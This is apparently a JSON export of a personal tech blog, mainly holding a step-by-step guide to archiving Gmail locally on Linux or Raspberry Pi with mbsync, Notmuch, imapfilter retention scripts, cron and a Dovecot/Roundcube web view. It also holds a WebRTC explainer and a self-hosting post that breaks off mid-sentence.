[{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/automation\/","section":"Tags","summary":"","title":"Automation"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/gmail\/","section":"Tags","summary":"","title":"Gmail"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/imap\/","section":"Tags","summary":"","title":"IMAP"},{"content":"Linux Email Archive (Pi4\/Pi5 Compatible) #Introduction #If your Gmail account keeps growing, this setup gives you the best of both worlds: a lean cloud mailbox and a complete local archive you fully control. In this guide, you will mirror all mail to a Linux host using Maildir, index everything with Notmuch for fast local search, and enforce a retention policy that keeps only the last 90 days on Gmail while preserving full history locally.\nThis walkthrough is designed to be practical and production-friendly: secure credential handling with pass, unattended sync with cron, retention cleanup with imapfilter, and optional web access to your archive through Dovecot + Roundcube.\nQuick Navigation # Step 0: Set Environment Variables First Objective Architecture Decisions Made Step 1: Enable IMAP on Gmail Step 2: Install Software on Linux Step 3: Configure mbsync Step 4: Initialize Notmuch Index Step 5: Retention Policy (Keep Only Last 3 Months on Gmail) Step 6: Automation via Cron Step 7: Storage Recommendations Step 8: Safety Checks Step 9: Accessing Mail from Windows (Dovecot + Roundcube) Troubleshooting Step 0: Set Environment Variables First #Set these once in your shell before running the rest of the steps:\nexport GMAIL_ADDRESS=&#34;you@gmail.com&#34; export MAIL_ROOT=&#34;\/srv\/mail-archive&#34; export LOCAL_MAIL_USER=&#34;pi&#34; export ADMIN_USER=&#34;pi&#34; export MAIL_GROUP_GID=&#34;1003&#34; export PI_TIMEZONE=&#34;UTC&#34; export DOVECOT_LOGIN_USER=&#34;archive&#34; export DOVECOT_LOGIN_PASSWORD=&#34;change-this-strong-password&#34; Optional: persist them in your shell profile so they survive reboot\/login:\ncat &gt;&gt; ~\/.profile &lt;&lt;&#39;EOF&#39; export GMAIL_ADDRESS=&#34;you@gmail.com&#34; export MAIL_ROOT=&#34;\/srv\/mail-archive&#34; export LOCAL_MAIL_USER=&#34;pi&#34; export ADMIN_USER=&#34;pi&#34; export MAIL_GROUP_GID=&#34;1003&#34; export PI_TIMEZONE=&#34;UTC&#34; export DOVECOT_LOGIN_USER=&#34;archive&#34; export DOVECOT_LOGIN_PASSWORD=&#34;change-this-strong-password&#34; EOF Reload your shell after updating ~\/.profile:\nsource ~\/.profile Objective #Create a local full-email archive on Linux while keeping only the last 3 months of emails on the remote Gmail account. This works on Raspberry Pi 4, Raspberry Pi 5, and standard Linux servers\/VMs. All messages must be searchable locally.\nArchitecture #Gmail (IMAP) \u2192 mbsync \u2192 Local Maildir (Linux host) \u2192 Notmuch index \u2192 Local search Local archive: Full history of all emails, indexed and searchable via Notmuch Remote mailbox: Rolling 3-month window; older mail deleted from Gmail but preserved locally Host role: Mirror + search engine only. Gmail remains the primary sender\/receiver. Decisions Made # Decision Choice Rationale Sync tool mbsync (isync) Mature, efficient, widely trusted, Maildir-native Mail format Maildir Compatible with mbsync, Notmuch, Mutt, and most Unix tools Search engine Notmuch Fast full-text indexing over Maildir; tag-based Auth method App Password via pass Avoids storing plaintext credentials; works with Gmail 2FA Deletion scope Remote only (Gmail) Local archive is never touched by retention policy Retention tool imapfilter Deletes directly on Gmail IMAP server; mbsync is sync-only Storage External USB SSD (for &gt;50GB) SD card wear is a concern for frequent write workloads Step 1: Enable IMAP on Gmail # Go to Gmail Settings \u2192 Forwarding and POP\/IMAP Enable IMAP Since 2FA is required for App Passwords, enable it in your Google Account if not already active Create an App Password # Open Google Account Security Settings Navigate to App Passwords Choose: App = Mail, Device = Other \u2192 name it Linux archive Copy the generated password into your password manager Note: Use this app password everywhere below instead of your main Google password.\nStep 2: Install Software on Linux #sudo apt update sudo apt install isync notmuch msmtp mutt pass imapfilter Package Role isync Provides the mbsync binary for IMAP sync notmuch Indexes and searches local mail imapfilter Deletes old messages directly on Gmail IMAP server msmtp Sends mail via SMTP (optional) mutt Terminal mail client (optional) pass Unix password manager for secure credential storage Store credentials with pass #1. Generate a GPG key (skip if you already have one):\ngpg --full-generate-key Key type: (1) RSA and RSA Key size: 4096 Expiry: 0 (no expiry) Enter your name and email Set a passphrase \u2014 you&rsquo;ll need this whenever GPG decrypts credentials 2. Initialize pass with your key:\ngpg --list-keys # confirm key exists, note the email pass init &#34;$GMAIL_ADDRESS&#34; 3. Insert the Gmail App Password:\npass insert gmail # paste your App Password when prompted 4. Verify it works:\npass show gmail # should print the app password GPG agent (required for cron to work unattended) #When mbsync runs from cron there is no terminal session, so GPG needs an agent to cache your passphrase. Add this to ~\/.bashrc or ~\/.profile:\nexport GPG_TTY=$(tty) Set a long cache TTL in ~\/.gnupg\/gpg-agent.conf:\ndefault-cache-ttl 86400 # 24 hours max-cache-ttl 604800 # 7 days Restart the agent:\ngpg-connect-agent reloadagent \/bye After a reboot, run pass show gmail once manually to unlock the key. Cron jobs will then work unattended for the rest of the day\/week without prompting.\nStep 3: Configure mbsync #Create ~\/.mbsyncrc with your variables:\ncat &gt; ~\/.mbsyncrc &lt;&lt;EOF IMAPAccount gmail Host imap.gmail.com User ${GMAIL_ADDRESS} PassCmd &#34;pass show gmail&#34; TLSType IMAPS Port 993 CertificateFile \/etc\/ssl\/certs\/ca-certificates.crt IMAPStore gmail-remote Account gmail MaildirStore gmail-local Path ${MAIL_ROOT}\/gmail\/ Inbox ${MAIL_ROOT}\/gmail\/Inbox\/ SubFolders Verbatim Channel gmail Far :gmail-remote: Near :gmail-local: Patterns * Create Both SyncState * EOF chmod 600 ~\/.mbsyncrc Key decisions in this config:\nPassCmd &quot;pass show gmail&quot;: mbsync calls pass at runtime \u2014 no plaintext password is ever stored in the config file TLSType IMAPS: use TLSType not SSLType \u2014 the latter is deprecated and causes a warning CertificateFile: explicitly set to avoid SSL verification issues on minimal Linux installs (including Raspberry Pi OS) SubFolders Verbatim: required to prevent mbsync from failing on the .notmuch\/xapian subfolder. It must be combined with an explicit Inbox path; otherwise, mbsync defaults to ~\/Maildir. Expunge Far is intentionally omitted: mbsync is used for syncing only, never for deletion. Remote cleanup is handled exclusively by imapfilter. Test the connection (before syncing) ## Dry run \u2014 connects and lists folders but downloads nothing mbsync --dry-run gmail If this succeeds without errors, proceed to the full sync.\nRun the initial full sync #mbsync -a This may take a while on the first run depending on mailbox size.\nVerify mail landed locally #ls &#34;$MAIL_ROOT&#34;\/gmail\/ find &#34;$MAIL_ROOT&#34;\/gmail\/ -type f | wc -l # count synced messages Step 4: Initialize Notmuch Index #notmuch setup # configure name, email, mail root -&gt; set path to $MAIL_ROOT\/gmail\/ notmuch new # index all synced mail Verify the index:\nnotmuch count # should return total number of messages notmuch search from:someone@example.com Step 5: Retention Policy (Keep Only Last 3 Months on Gmail) #The goal is to delete messages older than 3 months directly on Gmail&rsquo;s IMAP server, while leaving the local archive completely untouched.\nmbsync is not used for deletion. It is a sync-only tool. Remote cleanup is handled exclusively by imapfilter, a lightweight Lua-scriptable IMAP client that operates directly on the server.\nInstall imapfilter #sudo apt install imapfilter Retention script #Save as $MAIL_ROOT\/scripts\/gmail_retention.lua:\nImportant Gmail note: For regular mailboxes, delete_messages() works as expected. For [Gmail]\/All Mail however, delete_messages() only archives messages instead of permanently deleting them. The correct approach for All Mail is to move messages to Trash first, then delete from Trash.\noptions.timeout = 120 options.subscribe = false options.expunge = true print(&#39;RUNNING - connecting to Gmail...&#39;) local ok, err = pcall(function() account = IMAP { server = &#39;imap.gmail.com&#39;, username = os.getenv(&#39;GMAIL_ADDRESS&#39;), password = os.getenv(&#39;GMAIL_PASS&#39;), ssl = &#39;tls1.2&#39;, } print(&#39;CONNECTED - deleting old messages...&#39;) -- Delete from all regular mailboxes local mailboxes, folders = account:list_all(&#39;&#39;) for _, mailbox in ipairs(mailboxes) do local ok_inner, err_inner = pcall(function() local messages = account[mailbox]:is_older(90) if #messages &gt; 0 then print(&#39;Deleting &#39; .. #messages .. &#39; messages from &#39; .. mailbox) messages:delete_messages() end end) if not ok_inner then print(&#39;ERROR on mailbox &#39; .. mailbox .. &#39;: &#39; .. err_inner .. &#39; - skipping&#39;) end end -- For [Gmail]\/All Mail: move to Trash first, then delete from Trash -- delete_messages() on All Mail only archives, not permanently deletes local ok_am, err_am = pcall(function() local messages = account[&#39;[Gmail]\/All Mail&#39;]:is_older(90) if #messages &gt; 0 then print(&#39;[Gmail]\/All Mail: &#39; .. #messages .. &#39; old messages, moving to Trash...&#39;) messages:move_messages(account[&#39;[Gmail]\/Trash&#39;]) print(&#39;Moved to Trash. Deleting from Trash...&#39;) local trash = account[&#39;[Gmail]\/Trash&#39;]:select_all() trash:delete_messages() print(&#39;[Gmail]\/All Mail: done.&#39;) end end) if not ok_am then print(&#39;ERROR on [Gmail]\/All Mail: &#39; .. err_am .. &#39; - skipping&#39;) end end) if not ok then print(&#39;ERROR: &#39; .. err) print(&#39;Waiting 60 seconds before exit...&#39;) os.execute(&#39;sleep 60&#39;) end print(&#39;DONE&#39;) Dry-run script #Before running the real deletion, use this script to preview what would be deleted without changing anything. Save it as $MAIL_ROOT\/scripts\/gmail_retention_dryrun.lua:\noptions.timeout = 120 options.subscribe = false print(&#39;RUNNING - connecting to Gmail...&#39;) local total_all = 0 local total_old = 0 local ok, err = pcall(function() account = IMAP { server = &#39;imap.gmail.com&#39;, username = os.getenv(&#39;GMAIL_ADDRESS&#39;), password = os.getenv(&#39;GMAIL_PASS&#39;), ssl = &#39;tls1.2&#39;, } print(&#39;CONNECTED - listing mailboxes...&#39;) local mailboxes, folders = account:list_all(&#39;&#39;) print(&#39;Mailboxes found: &#39; .. #mailboxes) for _, mailbox in ipairs(mailboxes) do local ok_inner, err_inner = pcall(function() local all_messages = account[mailbox]:select_all() local old_messages = account[mailbox]:is_older(90) print(mailbox .. &#39;: &#39; .. #all_messages .. &#39; total, &#39; .. #old_messages .. &#39; older than 90 days&#39;) total_all = total_all + #all_messages total_old = total_old + #old_messages end) if not ok_inner then print(&#39;ERROR on mailbox &#39; .. mailbox .. &#39;: &#39; .. err_inner .. &#39; - skipping&#39;) end end -- Check [Gmail]\/All Mail separately (catches Promotions, Social, Updates, Forums) local ok_am, err_am = pcall(function() local all_messages = account[&#39;[Gmail]\/All Mail&#39;]:select_all() local old_messages = account[&#39;[Gmail]\/All Mail&#39;]:is_older(90) print(&#39;[Gmail]\/All Mail: &#39; .. #all_messages .. &#39; total, &#39; .. #old_messages .. &#39; older than 90 days&#39;) total_all = total_all + #all_messages total_old = total_old + #old_messages end) if not ok_am then print(&#39;[Gmail]\/All Mail: NOT ACCESSIBLE&#39;) end end) if not ok then print(&#39;ERROR: &#39; .. err) os.execute(&#39;sleep 60&#39;) end print(&#39;---&#39;) print(&#39;TOTAL: &#39; .. total_all .. &#39; messages, &#39; .. total_old .. &#39; would be deleted&#39;) print(&#39;DONE&#39;) Run the dry-run inside tmux \u2014 it can take a while with large mailboxes:\ntmux new -s retention-dryrun GMAIL_PASS=$(pass show gmail) imapfilter -c &#34;$MAIL_ROOT&#34;\/scripts\/gmail_retention_dryrun.lua Detach with Ctrl+B then D, reattach later with tmux attach -t retention-dryrun.\nRun the real deletion #Run inside tmux with a retry loop in case of timeouts:\ntmux new -s retention while true; do GMAIL_PASS=$(pass show gmail) imapfilter -c &#34;$MAIL_ROOT&#34;\/scripts\/gmail_retention.lua echo &#34;[$(date)] exited, waiting 60s...&#34; sleep 60 done Detach with Ctrl+B then D. When done, verify with the dry-run script \u2014 it should show 0 would be deleted.\nAlways verify before running # Step 6: Automation via Cron #crontab -e Add the following:\nMAIL_ROOT=\/srv\/mail-archive GMAIL_ADDRESS=you@gmail.com # Sync mail every hour 0 * * * * \/usr\/bin\/mbsync -a &gt;&gt; ${MAIL_ROOT}\/logs\/mbsync.log 2&gt;&amp;1 # Re-index after sync (runs just after mbsync) 5 * * * * \/usr\/bin\/notmuch new &gt;&gt; ${MAIL_ROOT}\/logs\/notmuch.log 2&gt;&amp;1 # Lock mail files to read-only after each sync (preserves metadata files as rw) 6 * * * * find ${MAIL_ROOT}\/gmail -type f \\( -name &#34;*:2,*&#34; -o -name &#34;*.eml&#34; \\) -print0 | xargs -0 chmod 444 &gt;&gt; ${MAIL_ROOT}\/logs\/chmod.log 2&gt;&amp;1 # Run Gmail retention cleanup weekly on Sunday at 2am (deletes remote only, never local) 0 2 * * 0 GMAIL_ADDRESS=${GMAIL_ADDRESS} GMAIL_PASS=$(pass show gmail) \/usr\/bin\/imapfilter -c ${MAIL_ROOT}\/scripts\/gmail_retention.lua &gt;&gt; ${MAIL_ROOT}\/logs\/retention.log 2&gt;&amp;1 Create the required directories:\nmkdir -p &#34;$MAIL_ROOT&#34;\/gmail mkdir -p &#34;$MAIL_ROOT&#34;\/logs mkdir -p &#34;$MAIL_ROOT&#34;\/scripts Step 7: Storage Recommendations # SD card: acceptable for OS and software only External USB SSD: required for mail storage if archive exceeds ~10\u201320 GB (SD cards degrade quickly under frequent small writes) Mount the SSD and ensure $MAIL_ROOT points to it Optional: compress old folders periodically with tar to reclaim space Directory layout #$MAIL_ROOT\/ \u251c\u2500\u2500 gmail\/ \u2190 Maildir mail storage \u251c\u2500\u2500 logs\/ \u2190 mbsync, notmuch, retention logs \u2514\u2500\u2500 scripts\/ \u2190 gmail_retention.lua and future scripts Step 8: Safety Checks #Always verify the local archive is intact and Gmail retention is working correctly:\n# Total messages in local archive (should grow over time, never shrink) notmuch count # Messages older than 3 months in local archive (expected to be large \u2014 we keep everything locally) notmuch count date:..3months # Confirm recent messages are present notmuch search date:1month.. | head -20 Expected results:\nnotmuch count \u2192 total archive size, should never decrease notmuch count date:..3months \u2192 large number is correct \u2014 local archive keeps all history Gmail should only have ~last 3 months \u2014 verify with the dry-run script Verify Gmail retention is clean:\nGMAIL_PASS=$(pass show gmail) imapfilter -c &#34;$MAIL_ROOT&#34;\/scripts\/gmail_retention_dryrun.lua The output should show 0 would be deleted if the weekly cron has run recently.\nAdditional safeguards:\nNever run rm on $MAIL_ROOT\/gmail\/ - local archive is permanent Avoid running multiple parallel sync\/delete jobs \u2014 Gmail IMAP throttles aggressively Keep logs from cron jobs and review them periodically Consider a periodic backup of the local Maildir to an external drive or remote storage Step 9: Accessing Mail from Windows (Dovecot + Roundcube) #To read your archived mail from any browser on the local network, run Dovecot (IMAP server) and Roundcube (web mail client) in Docker on the Pi.\nKey notes:\nThe dovecot\/dovecot:2.4.2-arm64 image runs as UID 1000 (vmail) Mail files must be owned by a shared group that both $LOCAL_MAIL_USER (mbsync) and UID 1000 (Dovecot) belong to Dovecot needs group_add: [&quot;$MAIL_GROUP_GID&quot;] to access files owned by mailgroup Set up file permissions #Create a shared group and set correct ownership (run as $ADMIN_USER or with sudo):\nsudo groupadd mailgroup sudo usermod -aG mailgroup &#34;$ADMIN_USER&#34; sudo usermod -aG mailgroup &#34;$LOCAL_MAIL_USER&#34; sudo chown -R &#34;$LOCAL_MAIL_USER&#34;:mailgroup &#34;$MAIL_ROOT&#34;\/gmail sudo find &#34;$MAIL_ROOT&#34;\/gmail -type d -exec chmod 2775 {} + sudo find &#34;$MAIL_ROOT&#34;\/gmail -type f -exec chmod 664 {} + # Lock actual mail files to read-only sudo find &#34;$MAIL_ROOT&#34;\/gmail -type f \\( -name &#34;*:2,*&#34; -o -name &#34;*.eml&#34; \\) -exec chmod 444 {} + Note: GID of mailgroup must match the group_add value in docker-compose. Verify with getent group mailgroup and update $MAIL_GROUP_GID.\nCreate the project directory #mkdir -p ~\/projects\/dovecot\/conf.d Create the docker-compose file #Save as ~\/projects\/dovecot\/docker-compose.yml:\nservices: dovecot: image: dovecot\/dovecot:2.4.2-arm64 container_name: dovecot restart: unless-stopped group_add: - &#34;${MAIL_GROUP_GID}&#34; volumes: - ${MAIL_ROOT}\/gmail:\/srv\/vmail\/${DOVECOT_LOGIN_USER}\/mail - .\/conf.d:\/etc\/dovecot\/conf.d:ro environment: - TZ=${PI_TIMEZONE} - USER_PASSWORD=${DOVECOT_LOGIN_PASSWORD} networks: - mailnet roundcube: image: roundcube\/roundcubemail:1.6.13-apache-nonroot container_name: roundcube restart: unless-stopped ports: - &#34;8080:8000&#34; environment: - ROUNDCUBEMAIL_DEFAULT_HOST=dovecot - ROUNDCUBEMAIL_DEFAULT_PORT=31143 - ROUNDCUBEMAIL_SMTP_SERVER= - ROUNDCUBEMAIL_PLUGINS=archive depends_on: - dovecot networks: - mailnet networks: mailnet: driver: bridge Create the Dovecot config drop-in #Save as ~\/projects\/dovecot\/conf.d\/auth-mechanisms.conf:\npassdb static { password = $ENV:USER_PASSWORD } auth_mechanisms { plain = yes login = yes } auth_allow_cleartext = yes mailbox_list_layout = fs Note: mailbox_list_layout = fs is required for Dovecot to correctly read the Maildir folder structure synced by mbsync.\nStart the stack #cd ~\/projects\/dovecot docker compose up -d docker compose logs --follow You should see: Dovecot v2.4.2 starting up for imap... with no errors.\nVerify mailboxes are visible:\ndocker exec dovecot \/dovecot\/bin\/doveadm mailbox list -u &#34;$DOVECOT_LOGIN_USER&#34; Access Roundcube #Open a browser and go to:\nhttp:\/\/&lt;host-ip&gt;:8080 Login with username $DOVECOT_LOGIN_USER and the password set in USER_PASSWORD.\nIf folders don&rsquo;t appear: Go to Settings \u2192 Folders in Roundcube and click Subscribe on the folders you want to see.\nFind the host local IP #hostname -I Useful commands ## Stop the stack docker compose -f ~\/projects\/dovecot\/docker-compose.yml down # Restart the stack docker compose -f ~\/projects\/dovecot\/docker-compose.yml restart # View logs docker compose -f ~\/projects\/dovecot\/docker-compose.yml logs --follow # List mailboxes (debug) docker exec dovecot \/dovecot\/bin\/doveadm mailbox list -u &#34;$DOVECOT_LOGIN_USER&#34; Troubleshooting # Problem Likely cause Fix Old messages still visible in Gmail after deletion delete_messages() on [Gmail]\/All Mail only archives Move to [Gmail]\/Trash first, then delete from Trash Dovecot permission denied on mail directory Dovecot UID 1000 not in mailgroup Add group_add: [&quot;${MAIL_GROUP_GID}&quot;] to dovecot service in docker-compose Roundcube shows no folders mailbox_list_layout not set Add mailbox_list_layout = fs to conf.d\/auth-mechanisms.conf Roundcube folders not subscribed Default subscription state Go to Settings \u2192 Folders \u2192 Subscribe all mbsync creates ~\/Maildir instead of using $MAIL_ROOT\/gmail\/ Inbox line missing from MaildirStore Add Inbox ${MAIL_ROOT}\/gmail\/Inbox\/ to the MaildirStore block mbsync errors on .notmuch\/xapian subfolder SubFolders style not set Add SubFolders Verbatim to the MaildirStore block in .mbsyncrc mbsync shows SSLType is deprecated warning Old config Replace SSLType with TLSType in .mbsyncrc imapfilter auth fails Wrong password or env var not set Run GMAIL_PASS=$(pass show gmail) imapfilter -c ... manually to test pass show gmail fails GPG key not found Re-run gpg --full-generate-key, then pass init and pass insert gmail mbsync works manually but fails in cron GPG passphrase not cached Run pass show gmail once after reboot; check gpg-agent.conf TTL Notmuch finds 0 messages Wrong mail root in setup Re-run notmuch setup, set path to $MAIL_ROOT\/gmail\/ Gmail blocks login App password not used Generate App Password in Google Account settings ","date":"March 13, 2026","permalink":"https:\/\/rmauro.dev\/keep-gmail-lean-archive-everything-locally-on-raspberry\/","section":"Posts","summary":"<h1 id=\"linux-email-archive-pi4pi5-compatible\" class=\"relative group\">Linux Email Archive (Pi4\/Pi5 Compatible) <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#linux-email-archive-pi4pi5-compatible\" aria-label=\"Anchor\">#<\/a><\/span><\/h1><h2 id=\"introduction\" class=\"relative group\">Introduction <span class=\"absolute top-0 w-6 transition-opacity opacity-0 -start-6 not-prose group-hover:opacity-100\"><a class=\"group-hover:text-primary-300 dark:group-hover:text-neutral-700\" style=\"text-decoration-line: none !important;\" href=\"#introduction\" aria-label=\"Anchor\">#<\/a><\/span><\/h2><p>If your Gmail account keeps growing, this setup gives you the best of both worlds: a lean cloud mailbox and a complete local archive you fully control. In this guide, you will mirror all mail to a Linux host using Maildir, index everything with Notmuch for fast local search, and enforce a retention policy that keeps only the last 90 days on Gmail while preserving full history locally.<\/p>","title":"Keep Gmail Lean: Archive Everything Locally on Linux (Pi4\/Pi5 Included)"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/linux\/","section":"Tags","summary":"","title":"Linux"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/posts\/","section":"Posts","summary":"","title":"Posts"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/raspberry-pi\/","section":"Tags","summary":"","title":"Raspberry Pi"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/","section":"rmauro.dev \u2014 Technical Blog","summary":"","title":"rmauro.dev \u2014 Technical Blog"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/","section":"Tags","summary":"","title":"Tags"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/ice\/","section":"Tags","summary":"","title":"ICE"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/nat-traversal\/","section":"Tags","summary":"","title":"NAT Traversal"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/open-source\/","section":"Tags","summary":"","title":"Open-Source"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/sfu\/","section":"Tags","summary":"","title":"SFU"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/streaming\/","section":"Tags","summary":"","title":"Streaming"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/stun\/","section":"Tags","summary":"","title":"STUN"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/turn\/","section":"Tags","summary":"","title":"TURN"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/webrtc\/","section":"Tags","summary":"","title":"WebRTC"},{"content":"If you\u2019ve ever joined a Google Meet call, participated in an online game with voice chat, or watched a live stream in your browser, you\u2019ve likely used WebRTC without even realizing it.\nIt\u2019s the technology that enables real-time, peer-to-peer communication directly in browsers and apps - no plugins required.\nBehind the scenes, however, making two devices talk to each other across the internet is more complex than it sounds. Firewalls, NAT devices, and varying network conditions make direct connections challenging.\nThis is where ICE, TURN, and SFU come in.\nICE - The Connection Negotiator #ICE (Interactive Connectivity Establishment) is responsible for figuring out how two peers can best connect to each other.\nIt does this by collecting possible connection options - called candidates - and testing them until it finds one that works.\nThere are three types of candidates:\nHost candidates: Local IP addresses (e.g., 192.168.1.5). Works if both peers are on the same network. Server reflexive candidates: Public IP addresses discovered via a STUN server. Relay candidates: IP addresses provided by a TURN server when direct routes fail. ICE tries the best candidates first (usually direct connections) and falls back to less optimal ones if needed.\nICE Open Source Implementations # Pion ICE - implemented in Go Nice: GLib ICE library - library written in C TURN - The Reliable Relay #TURN (Traversal Using Relays around NAT) is the fallback option when a direct peer-to-peer connection isn\u2019t possible - often because of strict firewalls or certain types of NAT.\nIn this case, the media stream is relayed through a TURN server.\nWhile TURN guarantees connectivity, it comes at a cost:\nHigher latency (because traffic goes through an extra hop) Increased bandwidth usage on the server Operational cost for running a high-bandwidth service For production deployments, having a TURN server is essential to ensure your application works in all network environments.\nTURN servers Open Source Implementations # coturn - TURN and STUN Server implementation using C restund - Lightweight option also implemented in C SFU - The Bandwidth Optimizer for Group Calls #In one-to-one calls, direct peer-to-peer works fine. But for group calls, sending multiple streams from each participant to all others quickly becomes inefficient.\nAn SFU (Selective Forwarding Unit) solves this problem.\nWith an SFU:\nEach participant sends one media stream to the SFU The SFU forwards that stream to other participants The SFU may send different quality versions depending on the recipient\u2019s connection This greatly reduces the upload bandwidth requirement for participants and improves call scalability.\nSFUs Open Source Implementations # ion-sfu - Pure Go WebRTC SFU mediasoup - Node.js-friendly and customizable Putting It All Together #A production-ready WebRTC deployment often looks like this:\nSignaling Server - Exchanges session descriptions and ICE candidates between peers STUN\/TURN Server - Handles NAT traversal and relaying when necessary SFU (Optional) - For multi-party calls, optimizes bandwidth usage Application Server - Manages rooms, authentication, and user states Example Flow: #Browser A \u2194 ICE \u2194 (STUN\/TURN if needed) \u2194 Browser B Browser A \u2192 SFU \u2192 Multiple Participants Final Thoughts #WebRTC is often called a \u201cpeer-to-peer\u201d technology, but in practice, most real-world systems rely on a mix of ICE, TURN, and often SFU to work reliably.\nICE finds the best path. TURN guarantees a connection when direct paths fail. SFU keeps group calls efficient. Understanding these components isn\u2019t just about building WebRTC apps - it\u2019s about knowing how to make them work everywhere, for everyone.\n","date":"August 5, 2025","permalink":"https:\/\/rmauro.dev\/webrtc-deep-dive-ice-turn-and-sfu\/","section":"Posts","summary":"<p>If you\u2019ve ever joined a Google Meet call, participated in an online game with voice chat, or watched a live stream in your browser, you\u2019ve likely used WebRTC without even realizing it.<\/p>\n<p>It\u2019s the technology that enables real-time, peer-to-peer communication directly in browsers and apps - no plugins required.<\/p>\n<p>Behind the scenes, however, making two devices talk to each other across the internet is more complex than it sounds. Firewalls, NAT devices, and varying network conditions make direct connections challenging.<\/p>","title":"WebRTC Deep Dive: ICE, TURN, and SFU"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/cloud\/","section":"Tags","summary":"","title":"Cloud"},{"content":"","date":null,"permalink":"https:\/\/rmauro.dev\/tags\/docker\/","section":"Tags","summary":"","title":"Docker"},{"content":"At some point, you start to wonder: what would it take to run the services I rely on most \u2014 myself?\nI wasn\u2019t aiming for a dramatic cloud exodus. But I wanted more control over the services I use every day \u2014 especially for photo storage, document management, and backups. Rather than spreading my personal data across Google Photos, Google Drive, Dropbox, and iCloud, I decided to take a different path.\nThis is Part 1 of that journey \u2014 the why, what, and how of building a self-hosted stack to own my data and simplify my digital life.\nWhy Self-Host? #This isn\u2019t about rejecting all cloud tools. I still use plenty. But for the data that matters \u2014 my photos, key documents, and reliable backups \u2014 I wanted:\nAutomatic photo backup from my phone \u2014 without feeding an AI model \ud83e\udd2e A searchable archive for bills, receipts, and scanned documents Backups I can configure, test, and restore with confidence Secure access to my services, anywhere, on my terms And ideally, a little satisfaction from building something for myself For me, replacing Google Photos, Google Drive, Dropbox, and OneDrive with tools I could control seemed like a good place to start.\nThe Stack \u2014 Services with a Purpose #This isn\u2019t a sprawling homelab. It\u2019s a focused stack for real-world needs, not overengineering.\nImmich \u2014 Photo Management and Uploads #Immich (here) is now my Google Photos (and iCloud Photos) replacement. Here\u2019s why it won instantly:\nAutomatic photo and video uploads from iOS and Android Timeline, albums, and face recognition Lightweight and Docker-friendly Clean, modern interface Status: Deployed and fully integrated into daily use.\nPaperless-ngx \u2014 Document Archival (Under Evaluation) #Paperless-ngx (link) aims to replace the old \u201cthrow PDFs into Google Drive or Dropbox\u201d approach. It OCRs, tags, and organizes bills, statements, receipts \u2014 anything I used to trust to cloud file storage.\nI\u2019m still evaluating if it\u2019ll stick for the long run, but it\u2019s a strong candidate for replacing ad-hoc cloud file dumping.\nStatus: In testing.\nWhy Not Just Keep Paying? #Let\u2019s be practical. Here\u2019s what these services charge beyond the free tier:\nService Monthly Cost (USD) Storage Included Purpose Google One $9.99 2 TB Google Drive, Photos, Gmail iCloud+ $9.99 2 TB iCloud Drive, Photos Dropbox Plus $9.99 2 TB File storage &amp; sync OneDrive 365 $6.99 1 TB OneDrive + Office apps Across a family or team, that adds up fast \u2014 $100\u2013$150\/year, every year.\nHere\u2019s what self-hosting actually cost me, one-time:\nRaspberry Pi 5 (8GB): ~$80 2TB NVMe SSD: ~$100 Heatsink + active cooling: ~$20 Total: ~$200 one-time, with no monthly fees More or less about it \ud83e\udd23\nYou\u2019ll pay a couple of dollars a month for power, but you own the hardware and the data. It\u2019s not just about money \u2014 it\u2019s about flexibility and peace of mind.\nBackup Strategy \u2014 In Progress #Backups matter. But I\u2019m still deciding on the best approach.\nOptions being tested:\nrsync \u2014 simple, robust local backups to USB\/NAS rclone \u2014 flexible for cloud or remote syncs borg, restic, duplicity \u2014 powerful snapshot-based options with encryption The backup destination is still up for debate between me, myself and I. A local USB disk every Friday is likely, but remote and cloud options aren\u2019t ruled out.\nStatus: In progress \ud83d\udc7a\nSecurity and Access #Security isn\u2019t about paranoia \u2014 it\u2019s about being intentional.\nNginx Proxy Manager handles HTTPS, TLS, and subdomain routing Cloudflare DNS is already set up for *.devgarage.app Fail2ban is being configured for brute-force protection Cloudflare Tunnel\/Access is under consideration for secure remote entry with no open ports Authelia or other open-source OIDC solutions are on my shortlist for internal SSO and more granular authentication in the future For now, I\u2019m keeping things simple, but leaving the door open for more advanced authentication as the stack grows.\nHosting Environment #Everything runs on a single, efficient device:\nRaspberry Pi 5 (ARM64, 8GB RAM) 2TB NVMe SSD, directly attached Active cooling and fans Raspberry Pi OS (64-bit) Docker Compose for deployment It\u2019s quiet, sips power, and handles the workload like a champ. Perfect for home or solo self-hosting.\nFile Structure #Keeping it tidy and simple, everything lives under \/naas:\n\/naas\/ \u251c\u2500\u2500 photos\/ # Managed by Immich \u251c\u2500\u2500 docs-inbox\/ # Drop zone for scanned files \u251c\u2500\u2500 docs-archive\/ # Processed and tagged by Paperless Backups will go to a separate mounted location, like \/mnt\/backup\/.\nArchitecture Diagram (Coming Soon) #A system diagram mapping domains, proxies, storage, and backup flow will be included in a future update.\nBenefits and Tradeoffs #\u2705 What\u2019s Working: # True ownership of important data No recurring cloud subscriptions Tools are focused and maintainable Easier to deploy and maintain than expected Flexibility to adapt, swap, and scale as needed \u26a0\ufe0f What\u2019s Still Evolving: # Backup tooling and destination Document workflow (still evaluating Paperless) Security hardening (fail2ban setup in progress) Ongoing tweaks and optimizations Final Thoughts #This project isn\u2019t finished \u2014 and that\u2019s by design. I\u2019m starting with the essentials, testing tools in real-world scenarios, and growing the stack slowly and deliberately.\nSo far, Immich is 